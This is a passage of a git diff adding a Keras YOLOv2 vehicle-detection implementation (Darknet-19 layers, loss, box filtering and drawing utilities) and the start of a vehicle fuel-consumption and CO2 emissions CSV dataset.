+ +from ..utils import compose + +# Partial wrapper for Convolution2D with static default argument. +_DarknetConv2D = partial(Conv2D, padding='same') + + +@functools.wraps(Conv2D) +def DarknetConv2D(*args, **kwargs): + """Wrapper to set Darknet weight regularizer for Convolution2D.""" + darknet_conv_kwargs = {'kernel_regularizer': l2(5e-4)} + darknet_conv_kwargs.update(kwargs) + return _DarknetConv2D(*args, **darknet_conv_kwargs) + + +def DarknetConv2D_BN_Leaky(*args, **kwargs): + """Darknet Convolution2D followed by BatchNormalization and LeakyReLU.""" + no_bias_kwargs = {'use_bias': False} + no_bias_kwargs.update(kwargs) + return compose( + DarknetConv2D(*args, **no_bias_kwargs), + BatchNormalization(), + LeakyReLU(alpha=0.1)) + + +def bottleneck_block(outer_filters, bottleneck_filters): + """Bottleneck block of 3x3, 1x1, 3x3 convolutions.""" + return compose( + DarknetConv2D_BN_Leaky(outer_filters, (3, 3)), + DarknetConv2D_BN_Leaky(bottleneck_filters, (1, 1)), + DarknetConv2D_BN_Leaky(outer_filters, (3, 3))) + + +def bottleneck_x2_block(outer_filters, bottleneck_filters): + """Bottleneck block of 3x3, 1x1, 3x3, 1x1, 3x3 convolutions.""" + return compose( + bottleneck_block(outer_filters, bottleneck_filters), + DarknetConv2D_BN_Leaky(bottleneck_filters, (1, 1)), + DarknetConv2D_BN_Leaky(outer_filters, (3, 3))) + + +def darknet_body(): + """Generate first 18 conv layers of Darknet-19.""" + return compose( + DarknetConv2D_BN_Leaky(32, (3, 3)), + MaxPooling2D(), + DarknetConv2D_BN_Leaky(64, (3, 3)), + MaxPooling2D(), + bottleneck_block(128, 64), + MaxPooling2D(), + bottleneck_block(256, 128), + MaxPooling2D(), + bottleneck_x2_block(512, 256), + MaxPooling2D(), + bottleneck_x2_block(1024, 512)) + + +def darknet19(inputs): + """Generate Darknet-19 model for Imagenet classification.""" + body = darknet_body()(inputs) + logits = DarknetConv2D(1000, (1, 1), activation='softmax')(body) + return Model(inputs, logits) diff --git a/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_yolo.py b/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_yolo.py new file mode 100644 index 00000000..e5ddb976 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_yolo.py @@ -0,0 +1,429 @@ +"""YOLO_v2 Model Defined in Keras.""" +import sys + +import numpy as np +import tensorflow as tf +from keras import backend as K +from keras.layers import Lambda +from keras.layers.merge import concatenate +from keras.models import Model + +from ..utils import compose +from .keras_darknet19 import (DarknetConv2D, DarknetConv2D_BN_Leaky, darknet_body) + +sys.path.append('..') + +voc_anchors = np.array( + [[1.08, 1.19], [3.42, 4.41], [6.63, 11.38], [9.42, 5.11], [16.62, 10.52]]) + +voc_classes = [ + "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", + "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", + "pottedplant", "sheep", "sofa", "train", "tvmonitor" +] + + +def space_to_depth_x2(x): + """Thin wrapper for Tensorflow space_to_depth with block_size=2.""" + # Import currently required to make Lambda work. + # See: https://github.com/fchollet/keras/issues/5088#issuecomment-273851273 + import tensorflow as tf + return tf.space_to_depth(x, block_size=2) + + +def space_to_depth_x2_output_shape(input_shape): + """Determine space_to_depth output shape for block_size=2. + + Note: For Lambda with TensorFlow backend, output shape may not be needed. + """ + return (input_shape[0], input_shape[1] // 2, input_shape[2] // 2, 4 * + input_shape[3]) if input_shape[1] else (input_shape[0], None, None, + 4 * input_shape[3]) + + +def yolo_body(inputs, num_anchors, num_classes): + """Create YOLO_V2 model CNN body in Keras.""" + darknet = Model(inputs, darknet_body()(inputs)) + conv20 = compose( + DarknetConv2D_BN_Leaky(1024, (3, 3)), + DarknetConv2D_BN_Leaky(1024, (3, 3)))(darknet.output) + + conv13 = darknet.layers[43].output + conv21 = DarknetConv2D_BN_Leaky(64, (1, 1))(conv13) + # TODO: Allow Keras Lambda to use func arguments for output_shape? + conv21_reshaped = Lambda( + space_to_depth_x2, + output_shape=space_to_depth_x2_output_shape, + name='space_to_depth')(conv21) + + x = concatenate([conv21_reshaped, conv20]) + x = DarknetConv2D_BN_Leaky(1024, (3, 3))(x) + x = DarknetConv2D(num_anchors * (num_classes + 5), (1, 1))(x) + return Model(inputs, x) + + +def yolo_head(feats, anchors, num_classes): + """Convert final layer features to bounding box parameters. + + Parameters + ---------- + feats : tensor + Final convolutional layer features. + anchors : array-like + Anchor box widths and heights. + num_classes : int + Number of target classes. + + Returns + ------- + box_xy : tensor + x, y box predictions adjusted by spatial location in conv layer. + box_wh : tensor + w, h box predictions adjusted by anchors and conv spatial resolution. + box_conf : tensor + Probability estimate for whether each box contains any object. + box_class_pred : tensor + Probability distribution estimate for each box over class labels. + """ + num_anchors = len(anchors) + # Reshape to batch, height, width, num_anchors, box_params. + anchors_tensor = K.reshape(K.variable(anchors), [1, 1, 1, num_anchors, 2]) + # Static implementation for fixed models. + # TODO: Remove or add option for static implementation. + # _, conv_height, conv_width, _ = K.int_shape(feats) + # conv_dims = K.variable([conv_width, conv_height]) + + # Dynamic implementation of conv dims for fully convolutional model. + conv_dims = K.shape(feats)[1:3] # assuming channels last + # In YOLO the height index is the inner most iteration. + conv_height_index = K.arange(0, stop=conv_dims[0]) + conv_width_index = K.arange(0, stop=conv_dims[1]) + conv_height_index = K.tile(conv_height_index, [conv_dims[1]]) + + # TODO: Repeat_elements and tf.split doesn't support dynamic splits. + # conv_width_index = K.repeat_elements(conv_width_index, conv_dims[1], axis=0) + conv_width_index = K.tile(K.expand_dims(conv_width_index, 0), [conv_dims[0], 1]) + conv_width_index = K.flatten(K.transpose(conv_width_index)) + conv_index = K.transpose(K.stack([conv_height_index, conv_width_index])) + conv_index = K.reshape(conv_index, [1, conv_dims[0], conv_dims[1], 1, 2]) + conv_index = K.cast(conv_index, K.dtype(feats)) + + feats = K.reshape(feats, [-1, conv_dims[0], conv_dims[1], num_anchors, num_classes + 5]) + conv_dims = K.cast(K.reshape(conv_dims, [1, 1, 1, 1, 2]), K.dtype(feats)) + + # Static generation of conv_index: + # conv_index = np.array([_ for _ in np.ndindex(conv_width, conv_height)]) + # conv_index = conv_index[:, [1, 0]] # swap columns for YOLO ordering. + # conv_index = K.variable( + # conv_index.reshape(1, conv_height, conv_width, 1, 2)) + # feats = Reshape( + # (conv_dims[0], conv_dims[1], num_anchors, num_classes + 5))(feats) + + box_confidence = K.sigmoid(feats[..., 4:5]) + box_xy = K.sigmoid(feats[..., :2]) + box_wh = K.exp(feats[..., 2:4]) + box_class_probs = K.softmax(feats[..., 5:]) + + # Adjust preditions to each spatial grid point and anchor size. + # Note: YOLO iterates over height index before width index. + box_xy = (box_xy + conv_index) / conv_dims + box_wh = box_wh * anchors_tensor / conv_dims + + return box_confidence, box_xy, box_wh, box_class_probs + + +def yolo_boxes_to_corners(box_xy, box_wh): + """Convert YOLO box predictions to bounding box corners.""" + box_mins = box_xy - (box_wh / 2.) + box_maxes = box_xy + (box_wh / 2.) + + return K.concatenate([ + box_mins[..., 1:2], # y_min + box_mins[..., 0:1], # x_min + box_maxes[..., 1:2], # y_max + box_maxes[..., 0:1] # x_max + ]) + + +def yolo_loss(args, + anchors, + num_classes, + rescore_confidence=False, + print_loss=False): + """YOLO localization loss function. + + Parameters + ---------- + yolo_output : tensor + Final convolutional layer features. + + true_boxes : tensor + Ground truth boxes tensor with shape [batch, num_true_boxes, 5] + containing box x_center, y_center, width, height, and class. + + detectors_mask : array + 0/1 mask for detector positions where there is a matching ground truth. + + matching_true_boxes : array + Corresponding ground truth boxes for positive detector positions. + Already adjusted for conv height and width. + + anchors : tensor + Anchor boxes for model. + + num_classes : int + Number of object classes. + + rescore_confidence : bool, default=False + If true then set confidence target to IOU of best predicted box with + the closest matching ground truth box. + + print_loss : bool, default=False + If True then use a tf.Print() to print the loss components. + + Returns + ------- + mean_loss : float + mean localization loss across minibatch + """ + (yolo_output, true_boxes, detectors_mask, matching_true_boxes) = args + num_anchors = len(anchors) + object_scale = 5 + no_object_scale = 1 + class_scale = 1 + coordinates_scale = 1 + pred_xy, pred_wh, pred_confidence, pred_class_prob = yolo_head( + yolo_output, anchors, num_classes) + + # Unadjusted box predictions for loss. + # TODO: Remove extra computation shared with yolo_head. + yolo_output_shape = K.shape(yolo_output) + feats = K.reshape(yolo_output, [ + -1, yolo_output_shape[1], yolo_output_shape[2], num_anchors, + num_classes + 5 + ]) + pred_boxes = K.concatenate( + (K.sigmoid(feats[..., 0:2]), feats[..., 2:4]), axis=-1) + + # TODO: Adjust predictions by image width/height for non-square images? + # IOUs may be off due to different aspect ratio. + + # Expand pred x,y,w,h to allow comparison with ground truth. + # batch, conv_height, conv_width, num_anchors, num_true_boxes, box_params + pred_xy = K.expand_dims(pred_xy, 4) + pred_wh = K.expand_dims(pred_wh, 4) + + pred_wh_half = pred_wh / 2. + pred_mins = pred_xy - pred_wh_half + pred_maxes = pred_xy + pred_wh_half + + true_boxes_shape = K.shape(true_boxes) + + # batch, conv_height, conv_width, num_anchors, num_true_boxes, box_params + true_boxes = K.reshape(true_boxes, [ + true_boxes_shape[0], 1, 1, 1, true_boxes_shape[1], true_boxes_shape[2] + ]) + true_xy = true_boxes[..., 0:2] + true_wh = true_boxes[..., 2:4] + + # Find IOU of each predicted box with each ground truth box. + true_wh_half = true_wh / 2. + true_mins = true_xy - true_wh_half + true_maxes = true_xy + true_wh_half + + intersect_mins = K.maximum(pred_mins, true_mins) + intersect_maxes = K.minimum(pred_maxes, true_maxes) + intersect_wh = K.maximum(intersect_maxes - intersect_mins, 0.) + intersect_areas = intersect_wh[..., 0] * intersect_wh[..., 1] + + pred_areas = pred_wh[..., 0] * pred_wh[..., 1] + true_areas = true_wh[..., 0] * true_wh[..., 1] + + union_areas = pred_areas + true_areas - intersect_areas + iou_scores = intersect_areas / union_areas + + # Best IOUs for each location. + best_ious = K.max(iou_scores, axis=4) # Best IOU scores. + best_ious = K.expand_dims(best_ious) + + # A detector has found an object if IOU > thresh for some true box. + object_detections = K.cast(best_ious > 0.6, K.dtype(best_ious)) + + # TODO: Darknet region training includes extra coordinate loss for early + # training steps to encourage predictions to match anchor priors. + + # Determine confidence weights from object and no_object weights. + # NOTE: YOLO does not use binary cross-entropy here. + no_object_weights = (no_object_scale * (1 - object_detections) * + (1 - detectors_mask)) + no_objects_loss = no_object_weights * K.square(-pred_confidence) + + if rescore_confidence: + objects_loss = (object_scale * detectors_mask * + K.square(best_ious - pred_confidence)) + else: + objects_loss = (object_scale * detectors_mask * + K.square(1 - pred_confidence)) + confidence_loss = objects_loss + no_objects_loss + + # Classification loss for matching detections. + # NOTE: YOLO does not use categorical cross-entropy loss here. + matching_classes = K.cast(matching_true_boxes[..., 4], 'int32') + matching_classes = K.one_hot(matching_classes, num_classes) + classification_loss = (class_scale * detectors_mask * + K.square(matching_classes - pred_class_prob)) + + # Coordinate loss for matching detection boxes. + matching_boxes = matching_true_boxes[..., 0:4] + coordinates_loss = (coordinates_scale * detectors_mask * + K.square(matching_boxes - pred_boxes)) + + confidence_loss_sum = K.sum(confidence_loss) + classification_loss_sum = K.sum(classification_loss) + coordinates_loss_sum = K.sum(coordinates_loss) + total_loss = 0.5 * ( + confidence_loss_sum + classification_loss_sum + coordinates_loss_sum) + if print_loss: + total_loss = tf.Print( + total_loss, [ + total_loss, confidence_loss_sum, classification_loss_sum, + coordinates_loss_sum + ], + message='yolo_loss, conf_loss, class_loss, box_coord_loss:') + + return total_loss + + +def yolo(inputs, anchors, num_classes): + """Generate a complete YOLO_v2 localization model.""" + num_anchors = len(anchors) + body = yolo_body(inputs, num_anchors, num_classes) + outputs = yolo_head(body.output, anchors, num_classes) + return outputs + + +def yolo_filter_boxes(box_confidence, boxes, box_class_probs, threshold=.6): + """Filter YOLO boxes based on object and class confidence.""" + + box_scores = box_confidence * box_class_probs + box_classes = K.argmax(box_scores, axis=-1) + box_class_scores = K.max(box_scores, axis=-1) + prediction_mask = box_class_scores >= threshold + + # TODO: Expose tf.boolean_mask to Keras backend? + boxes = tf.boolean_mask(boxes, prediction_mask) + scores = tf.boolean_mask(box_class_scores, prediction_mask) + classes = tf.boolean_mask(box_classes, prediction_mask) + + return boxes, scores, classes + + +def yolo_eval(yolo_outputs, + image_shape, + max_boxes=10, + score_threshold=.6, + iou_threshold=.5): + """Evaluate YOLO model on given input batch and return filtered boxes.""" + box_confidence, box_xy, box_wh, box_class_probs = yolo_outputs + boxes = yolo_boxes_to_corners(box_xy, box_wh) + boxes, scores, classes = yolo_filter_boxes( + box_confidence, boxes, box_class_probs, threshold=score_threshold) + + # Scale boxes back to original image shape. + height = image_shape[0] + width = image_shape[1] + image_dims = K.stack([height, width, height, width]) + image_dims = K.reshape(image_dims, [1, 4]) + boxes = boxes * image_dims + + # TODO: Something must be done about this ugly hack! + max_boxes_tensor = K.variable(max_boxes, dtype='int32') + K.get_session().run(tf.variables_initializer([max_boxes_tensor])) + nms_index = tf.image.non_max_suppression( + boxes, scores, max_boxes_tensor, iou_threshold=iou_threshold) + boxes = K.gather(boxes, nms_index) + scores = K.gather(scores, nms_index) + classes = K.gather(classes, nms_index) + + return boxes, scores, classes + + +def preprocess_true_boxes(true_boxes, anchors, image_size): + """Find detector in YOLO where ground truth box should appear. + + Parameters + ---------- + true_boxes : array + List of ground truth boxes in form of relative x, y, w, h, class. + Relative coordinates are in the range [0, 1] indicating a percentage + of the original image dimensions. + anchors : array + List of anchors in form of w, h. + Anchors are assumed to be in the range [0, conv_size] where conv_size + is the spatial dimension of the final convolutional features. + image_size : array-like + List of image dimensions in form of h, w in pixels. + + Returns + ------- + detectors_mask : array + 0/1 mask for detectors in [conv_height, conv_width, num_anchors, 1] + that should be compared with a matching ground truth box. + matching_true_boxes: array + Same shape as detectors_mask with the corresponding ground truth box + adjusted for comparison with predicted parameters at training time. + """ + height, width = image_size + num_anchors = len(anchors) + # Downsampling factor of 5x 2-stride max_pools == 32. + # TODO: Remove hardcoding of downscaling calculations. + assert height % 32 == 0, 'Image sizes in YOLO_v2 must be multiples of 32.' + assert width % 32 == 0, 'Image sizes in YOLO_v2 must be multiples of 32.' + conv_height = height // 32 + conv_width = width // 32 + num_box_params = true_boxes.shape[1] + detectors_mask = np.zeros( + (conv_height, conv_width, num_anchors, 1), dtype=np.float32) + matching_true_boxes = np.zeros( + (conv_height, conv_width, num_anchors, num_box_params), + dtype=np.float32) + + for box in true_boxes: + # scale box to convolutional feature spatial dimensions + box_class = box[4:5] + box = box[0:4] * np.array( + [conv_width, conv_height, conv_width, conv_height]) + i = np.floor(box[1]).astype('int') + j = min(np.floor(box[0]).astype('int'),1) + best_iou = 0 + best_anchor = 0 + + for k, anchor in enumerate(anchors): + # Find IOU between box shifted to origin and anchor box. + box_maxes = box[2:4] / 2. + box_mins = -box_maxes + anchor_maxes = (anchor / 2.) + anchor_mins = -anchor_maxes + + intersect_mins = np.maximum(box_mins, anchor_mins) + intersect_maxes = np.minimum(box_maxes, anchor_maxes) + intersect_wh = np.maximum(intersect_maxes - intersect_mins, 0.) + intersect_area = intersect_wh[0] * intersect_wh[1] + box_area = box[2] * box[3] + anchor_area = anchor[0] * anchor[1] + iou = intersect_area / (box_area + anchor_area - intersect_area) + if iou > best_iou: + best_iou = iou + best_anchor = k + + if best_iou > 0: + detectors_mask[i, j, best_anchor] = 1 + adjusted_box = np.array( + [ + box[0] - j, box[1] - i, + np.log(box[2] / anchors[best_anchor][0]), + np.log(box[3] / anchors[best_anchor][1]), box_class + ], + dtype=np.float32) + matching_true_boxes[i, j, best_anchor] = adjusted_box + return detectors_mask, matching_true_boxes diff --git a/MachineLearning Projects/Vehicle-Detection/yad2k/utils/__init__.py b/MachineLearning Projects/Vehicle-Detection/yad2k/utils/__init__.py new file mode 100644 index 00000000..16281fe0 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/yad2k/utils/__init__.py @@ -0,0 +1 @@ +from .utils import * diff --git a/MachineLearning Projects/Vehicle-Detection/yad2k/utils/utils.py b/MachineLearning Projects/Vehicle-Detection/yad2k/utils/utils.py new file mode 100644 index 00000000..194f3ac8 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/yad2k/utils/utils.py @@ -0,0 +1,15 @@ +"""Miscellaneous utility functions.""" + +from functools import reduce + + +def compose(*funcs): + """Compose arbitrarily many functions, evaluated left to right. + + Reference: https://mathieularose.com/function-composition-in-python/ + """ + # return lambda x: reduce(lambda v, f: f(v), funcs, x) + if funcs: + return reduce(lambda f, g: lambda *a, **kw: g(f(*a, **kw)), funcs) + else: + raise ValueError('Composition of empty sequence not supported.') diff --git a/MachineLearning Projects/Vehicle-Detection/yolo_utils.py b/MachineLearning Projects/Vehicle-Detection/yolo_utils.py new file mode 100644 index 00000000..65252370 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/yolo_utils.py @@ -0,0 +1,82 @@ +import colorsys +import imghdr +import os +import random +from keras import backend as K + +import numpy as np +from PIL import Image, ImageDraw, ImageFont + +def read_classes(classes_path): + with open(classes_path) as f: + class_names = f.readlines() + class_names = [c.strip() for c in class_names] + return class_names + +def read_anchors(anchors_path): + with open(anchors_path) as f: + anchors = f.readline() + anchors = [float(x) for x in anchors.split(',')] + anchors = np.array(anchors).reshape(-1, 2) + return anchors + +def generate_colors(class_names): + hsv_tuples = [(x / len(class_names), 1., 1.) for x in range(len(class_names))] + colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) + colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) + random.seed(10101) # Fixed seed for consistent colors across runs. + random.shuffle(colors) # Shuffle colors to decorrelate adjacent classes. + random.seed(None) # Reset seed to default. + return colors + +def scale_boxes(boxes, image_shape): + """ Scales the predicted boxes in order to be drawable on the image""" + height = image_shape[0] + width = image_shape[1] + image_dims = K.stack([height, width, height, width]) + image_dims = K.reshape(image_dims, [1, 4]) + boxes = boxes * image_dims + return boxes + +def preprocess_image(img_path, model_image_size): + image_type = imghdr.what(img_path) + image = Image.open(img_path) + resized_image = image.resize(tuple(reversed(model_image_size)), Image.BICUBIC) + image_data = np.array(resized_image, dtype='float32') + image_data /= 255. + image_data = np.expand_dims(image_data, 0) # Add batch dimension. + return image, image_data + +def draw_boxes(image, out_scores, out_boxes, out_classes, class_names, colors): + + font = ImageFont.truetype(font='font/FiraMono-Medium.otf',size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32')) + thickness = (image.size[0] + image.size[1]) // 300 + + for i, c in reversed(list(enumerate(out_classes))): + predicted_class = class_names[c] + box = out_boxes[i] + score = out_scores[i] + + label = '{} {:.2f}'.format(predicted_class, score) + + draw = ImageDraw.Draw(image) + label_size = draw.textsize(label, font) + + top, left, bottom, right = box + top = max(0, np.floor(top + 0.5).astype('int32')) + left = max(0, np.floor(left + 0.5).astype('int32')) + bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32')) + right = min(image.size[0], np.floor(right + 0.5).astype('int32')) + print(label, (left, top), (right, bottom)) + + if top - label_size[1] >= 0: + text_origin = np.array([left, top - label_size[1]]) + else: + text_origin = np.array([left, top + 1]) + + # My kingdom for a good redistributable image drawing library. + for i in range(thickness): + draw.rectangle([left + i, top + i, right - i, bottom - i], outline=colors[c]) + draw.rectangle([tuple(text_origin), tuple(text_origin + label_size)], fill=colors[c]) + draw.text(text_origin, label, fill=(0, 0, 0), font=font) + del draw \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/FuelConsumption.csv b/MachineLearning Projects/prediction-of-CO2-emission/FuelConsumption.csv new file mode 100644 index 00000000..90514607 --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/FuelConsumption.csv @@ -0,0 +1 @@ +MODELYEAR,MAKE,MODEL,VEHICLECLASS,ENGINESIZE,CYLINDERS,TRANSMISSION,FUELTYPE,FUELCONSUMPTION_CITY,FUELCONSUMPTION_HWY,FUELCONSUMPTION_COMB,FUELCONSUMPTION_COMB_MPG,CO2EMISSIONS 2014,ACURA,ILX,COMPACT,2,4,AS5,Z,9.9,6.7,8.5,33,196 2014,ACURA,ILX,COMPACT,2.4,4,M6,Z,11.2,7.7,9.6,29,221 2014,ACURA,ILX HYBRID,COMPACT,1.5,4,AV7,Z,6,5.8,5.9,48,136 2014,ACURA,MDX 4WD,SUV - SMALL,3.5,6,AS6,Z,12.7,9.1,11.1,25,255 2014,ACURA,RDX AWD,SUV - SMALL,3.5,6,AS6,Z,12.1,8.7,10.6,27,244 2014,ACURA,RLX,MID-SIZE,3.5,6,AS6,Z,11.9,7.7,10,28,230 2014,ACURA,TL,MID-SIZE,3.5,6,AS6,Z,11.8,8.1,10.1,28,232 2014,ACURA,TL AWD,MID-SIZE,3.7,6,AS6,Z,12.8,9,11.1,25,255 2014,ACURA,TL AWD,MID-SIZE,3.7,6,M6,Z,13.4,9.5,11.6,24,267 2014,ACURA,TSX,COMPACT,2.4,4,AS5,Z,10.6,7.5,9.2,31,212 2014,ACURA,TSX,COMPACT,2.4,4,M6,Z,11.2,8.1,9.8,29,225 2014,ACURA,TSX,COMPACT,3.5,6,AS5,Z,12.1,8.3,10.4,27,239 2014,ASTON MARTIN,DB9,MINICOMPACT,5.9,12,A6,Z,18,12.6,15.6,18,359 2014,ASTON MARTIN,RAPIDE,SUBCOMPACT,5.9,12,A6,Z,18,12.6,15.6,18,359 2014,ASTON MARTIN,V8 VANTAGE,TWO-SEATER,4.7,8,AM7,Z,17.4,11.3,14.7,19,338 2014,ASTON MARTIN,V8 VANTAGE,TWO-SEATER,4.7,8,M6,Z,18.1,12.2,15.4,18,354 2014,ASTON MARTIN,V8 VANTAGE S,TWO-SEATER,4.7,8,AM7,Z,17.4,11.3,14.7,19,338 2014,ASTON MARTIN,V8 VANTAGE S,TWO-SEATER,4.7,8,M6,Z,18.1,12.2,15.4,18,354 2014,ASTON MARTIN,VANQUISH,MINICOMPACT,5.9,12,A6,Z,18,12.6,15.6,18,359 2014,AUDI,A4,COMPACT,2,4,AV8,Z,9.9,7.4,8.8,32,202 2014,AUDI,A4 QUATTRO,COMPACT,2,4,AS8,Z,11.5,8.1,10,28,230 2014,AUDI,A4 QUATTRO,COMPACT,2,4,M6,Z,10.8,7.5,9.3,30,214 2014,AUDI,A5 CABRIOLET QUATTRO,SUBCOMPACT,2,4,AS8,Z,11.5,8.1,10,28,230 2014,AUDI,A5 QUATTRO,SUBCOMPACT,2,4,AS8,Z,11.5,8.1,10,28,230 2014,AUDI,A5 QUATTRO,SUBCOMPACT,2,4,M6,Z,10.8,7.5,9.3,30,214 2014,AUDI,A6 QUATTRO,MID-SIZE,2,4,AS8,Z,12,8.1,10.2,28,235 2014,AUDI,A6 QUATTRO,MID-SIZE,3,6,AS8,Z,12.8,8.6,10.9,26,251 2014,AUDI,A6 QUATTRO TDI CLEAN DIESEL,MID-SIZE,3,6,AS8,D,9.8,6.4,8.3,34,224 2014,AUDI,A7 QUATTRO,MID-SIZE,3,6,AS8,Z,13.1,8.8,11.2,25,258 2014,AUDI,A7 QUATTRO TDI CLEAN DIESEL,MID-SIZE,3,6,AS8,D,9.8,6.4,8.3,34,224 2014,AUDI,A8,MID-SIZE,3,6,AS8,Z,13.1,8.8,11.2,25,258 2014,AUDI,A8,MID-SIZE,4,8,AS8,Z,13.5,8.6,11.3,25,260 2014,AUDI,A8 TDI CLEAN DIESEL,MID-SIZE,3,6,AS8,D,10,6.4,8.4,34,227 2014,AUDI,A8L,FULL-SIZE,3,6,AS8,Z,13.1,8.8,11.2,25,258 2014,AUDI,A8L,FULL-SIZE,4,8,AS8,Z,14.7,9.7,12.5,23,288 2014,AUDI,A8L,FULL-SIZE,6.3,12,AS8,Z,18.2,12.6,15.7,18,361 2014,AUDI,A8L TDI CLEAN DIESEL,FULL-SIZE,3,6,AS8,D,10.1,6.5,8.5,33,230 2014,AUDI,ALLROAD QUATTRO,STATION WAGON - SMALL,2,4,AS8,Z,11.8,8.8,10.5,27,242 2014,AUDI,Q5,SUV - SMALL,2,4,AS8,Z,12,8.5,10.4,27,239 2014,AUDI,Q5,SUV - SMALL,3,6,AS8,Z,12.9,9.2,11.2,25,258 2014,AUDI,Q5 HYBRID,SUV - SMALL,2,4,AS8,Z,9.9,8.3,9.2,31,212 2014,AUDI,Q5 TDI CLEAN DIESEL,SUV - SMALL,3,6,AS8,D,10.3,7.6,9.1,31,246 2014,AUDI,Q7,SUV - STANDARD,3,6,AS8,Z,15.1,10.9,13.2,21,304 2014,AUDI,Q7 TDI CLEAN DIESEL,SUV - STANDARD,3,6,AS8,D,12.9,8.4,10.9,26,294 2014,AUDI,R8,TWO-SEATER,4.2,8,A7,Z,17.6,11,14.6,19,336 2014,AUDI,R8,TWO-SEATER,4.2,8,M6,Z,21.2,13.4,17.7,16,407 2014,AUDI,R8,TWO-SEATER,5.2,10,A7,Z,18.8,11.3,15.4,18,354 2014,AUDI,R8,TWO-SEATER,5.2,10,M6,Z,21.1,13.8,17.8,16,409 2014,AUDI,R8 SPYDER,TWO-SEATER,4.2,8,A7,Z,17.6,11,14.6,19,336 2014,AUDI,R8 SPYDER,TWO-SEATER,4.2,8,M6,Z,21.2,13.4,17.7,16,407 2014,AUDI,R8 SPYDER,TWO-SEATER,5.2,10,A7,Z,18.8,11.3,15.4,18,354 2014,AUDI,R8 SPYDER,TWO-SEATER,5.2,10,M6,Z,21.1,13.8,17.8,16,409 2014,AUDI,RS5,SUBCOMPACT,4.2,8,A7,Z,15.3,10.9,13.3,21,306 2014,AUDI,RS5 CABRIOLET,SUBCOMPACT,4.2,8,A7,Z,15.2,11.3,13.4,21,308 2014,AUDI,RS7,MID-SIZE,4,8,AS8,Z,15.3,9.3,12.6,22,290 2014,AUDI,S4,COMPACT,3,6,A7,Z,13.2,9.2,11.4,25,262 2014,AUDI,S4,COMPACT,3,6,M6,Z,14.6,9.8,12.4,23,285 2014,AUDI,S5,SUBCOMPACT,3,6,A7,Z,13.2,9.2,11.4,25,262 2014,AUDI,S5,SUBCOMPACT,3,6,M6,Z,14.6,9.8,12.4,23,285 2014,AUDI,S5 CABRIOLET,SUBCOMPACT,3,6,A7,Z,13.3,9.5,11.6,24,267 2014,AUDI,S6,MID-SIZE,4,8,A7,Z,14.2,9.7,12.2,23,281 2014,AUDI,S7,MID-SIZE,4,8,A7,Z,14.2,9.7,12.2,23,281 2014,AUDI,S8,MID-SIZE,4,8,AS8,Z,15.4,9.8,12.9,22,297 2014,AUDI,SQ5,SUV - SMALL,3,6,AS8,Z,14.9,10.1,12.7,22,292 2014,AUDI,TT COUPE QUATTRO,SUBCOMPACT,2,4,A6,Z,10.4,7.6,9.1,31,209 2014,AUDI,TT ROADSTER QUATTRO,TWO-SEATER,2,4,A6,Z,10.4,7.6,9.1,31,209 2014,AUDI,TTS COUPE QUATTRO,SUBCOMPACT,2,4,A6,Z,11.5,8.8,10.3,27,237 2014,AUDI,TTS ROADSTER QUATTRO,TWO-SEATER,2,4,A6,Z,11.5,8.8,10.3,27,237 2014,BENTLEY,CONTINENTAL GT,SUBCOMPACT,4,8,AS8,Z,15.4,9.8,12.9,22,297 2014,BENTLEY,CONTINENTAL GT,SUBCOMPACT,6,12,AS8,Z,18.8,11.5,15.5,18,356 2014,BENTLEY,CONTINENTAL GT CONVERTIBLE,SUBCOMPACT,4,8,AS8,Z,16.8,10.3,13.9,20,320 2014,BENTLEY,CONTINENTAL GT SPEED CONVERTIBLE,SUBCOMPACT,6,12,AS8,Z,20,12.2,16.5,17,380 2014,BENTLEY,CONTINENTAL GTC,SUBCOMPACT,4,8,AS8,Z,16.7,10.6,14,20,322 2014,BENTLEY,CONTINENTAL GTC,SUBCOMPACT,6,12,AS8,Z,20,12.2,16.5,17,380 2014,BENTLEY,FLYING SPUR,MID-SIZE,6,12,AS8,Z,20,12.2,16.5,17,380 2014,BENTLEY,MULSANNE,MID-SIZE,6.8,8,AS8,Z,22.3,14.9,19,15,437 2014,BMW,320i,COMPACT,2,4,A8,Z,10,6.5,8.4,34,193 2014,BMW,320i,COMPACT,2,4,M6,Z,10.4,6.7,8.7,32,200 2014,BMW,320i xDRIVE,COMPACT,2,4,A8,Z,10.2,7,8.8,32,202 2014,BMW,328d xDRIVE,COMPACT,2,4,A8,D,7.6,5.5,6.7,42,181 2014,BMW,328d xDRIVE TOURING,STATION WAGON - SMALL,2,4,A8,D,7.6,5.5,6.7,42,181 2014,BMW,328i,COMPACT,2,4,A8,Z,10,6.5,8.4,34,193 2014,BMW,328i,COMPACT,2,4,M6,Z,10.4,6.7,8.7,32,200 2014,BMW,328i xDRIVE,COMPACT,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,328i xDRIVE GRAN TURISMO,FULL-SIZE,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,328i xDRIVE TOURING,STATION WAGON - SMALL,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,335i,COMPACT,3,6,A8,Z,11.4,7.3,9.6,29,221 2014,BMW,335i,COMPACT,3,6,M6,Z,11.8,7.9,10,28,230 2014,BMW,335i xDRIVE,COMPACT,3,6,A8,Z,11.7,7.8,9.9,29,228 2014,BMW,335i xDRIVE,COMPACT,3,6,M6,Z,11.9,8.3,10.3,27,237 2014,BMW,335i xDRIVE GRAN TURISMO,FULL-SIZE,3,6,A8,Z,11.9,8,10.1,28,232 2014,BMW,428i COUPE,COMPACT,2,4,A8,Z,10,6.5,8.4,34,193 2014,BMW,428i COUPE,COMPACT,2,4,M6,Z,10.4,6.7,8.7,32,200 2014,BMW,428i xDRIVE COUPE,COMPACT,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,435i 